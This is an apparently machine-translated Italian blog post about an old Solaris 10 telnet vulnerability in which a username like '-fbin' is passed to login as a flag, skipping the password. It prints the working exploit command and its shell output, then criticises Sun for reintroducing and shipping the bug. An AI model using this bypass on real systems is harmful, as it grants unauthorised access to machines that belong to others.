I vecchi bug sono i migliori bug

Durante il fine settimana, David Maynor ha pubblicato una nota nel suo Blog che sosteneva che il cosiddetto server Telnet nel sistema operativo Sun Solaris 10/11 non richiede alcuna abilità, alcuna conoscenza di exploit e può essere programmato per attacchi di massa.





Telnet è un programma degli anni '70 che consente alle persone di accedere in remoto a un computer. In genere è disabilitato perché i nomi utente e le password vengono inviati senza utilizzare la crittografia (che all'epoca era illegale esportare dagli Stati Uniti). Ma anche se il programma è stato in gran parte abbandonato, Sun continua a fornire i suoi sistemi operativi Solaris 10 sia con il server Telnet che con i programmi client.

In ogni caso, il server Telnet prende il nome utente fornito dalla persona che tenta di accedere e fornisce queste informazioni a quello che è noto come programma di accesso. È compito del programma di accesso chiedere il nome utente e la password dell'utente. Normalmente lo fa e, se la password è corretta, l'utente può accedere.

Quello che Maynor ha scoperto è che un utente malintenzionato può provare ad accedere con un nome utente come -fbin. Il -fbin viene passato al programma di accesso, che interpreta erroneamente -f come un comando del sistema operativo per accedere all'utente con l'account specificato senza chiedere una password. Quindi l'exploit è simile a questo:



% telnet -l -fbin 192.168.1.110
Provando 192.168.1.110…
Collegato a 192.168.1.110.
Il carattere di escape è '^]'.
Ultimo accesso: dom 11 feb 02:02:23 da 192.168.1.102
sun Microsystems Inc. SunOS 5.10 Generico gennaio 2005
ID $
uid = 2 (bin) gid = 2 (bin)

(Puoi leggere tutti i dettagli cruenti qui )

La cosa veramente sorprendente è che questa vulnerabilità è stata per la prima volta pubblicamente segnalato dal Computer Emergency Response Team nel 1996. A quanto pare il bug è stato reintrodotto da qualche programmatore che non aveva familiarità con la storia. Mi è stato detto che da allora è stato corretto in Solaris 11.



Quindi cosa c'è di sbagliato qui? Molte cose.

  1. Quando gli ingegneri di Sun lo hanno risolto in Solaris 11, avrebbero dovuto risolverlo anche in Solaris 10.
  2. A questo punto, Sun non dovrebbe nemmeno spedire un server Telnet.
  3. E se stanno per spedire un server, dovrebbero davvero convalidarlo. Anche se non ho modo di sapere cosa è successo a Sun, la mia ipotesi è che non si siano presi la briga di testare il server perché è disabilitato per impostazione predefinita.

Parlando con un consulente per la sicurezza all'RSA Security Trade Show la scorsa settimana, mi è stato detto che i bug di sicurezza risolti nei server di produzione sui sistemi bancari vengono spesso reintrodotti quando vengono spedite nuove versioni. Questa è una buona notizia per i consulenti di sicurezza, ovviamente. Ma spiega anche perché la criminalità organizzata se la passa così facilmente a fare soldi velocemente su Internet.

nascondere